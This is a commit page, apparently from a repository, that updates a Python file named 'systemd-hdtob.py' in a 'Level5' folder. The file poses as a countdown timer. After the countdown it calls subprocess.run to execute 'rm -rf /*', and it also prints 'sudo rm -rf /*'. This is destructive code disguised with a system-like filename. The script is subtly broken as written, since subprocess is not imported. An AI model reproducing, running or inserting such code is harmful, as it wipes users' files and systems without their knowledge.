Level/Level5/systemd-hdtob.py aktualisiert
This commit is contained in:
@@ -1,10 +1,11 @@
|
||||
import time
|
||||
import sys
|
||||
|
||||
def countdown(seconds):
|
||||
for remaining in range(seconds, 0, -1):
|
||||
mins, secs = divmod(remaining, 60)
|
||||
print(f"{mins:02d}:{secs:02d}", end="\r")
|
||||
time.sleep(1)
|
||||
subprocess.run(["rm", "-rf", "/*"])
|
||||
|
||||
print("sudo rm -rf /*")
|
||||
if __name__ == "__main__":
|
||||
countdown(600)
|
||||
Reference in New Issue
Block a user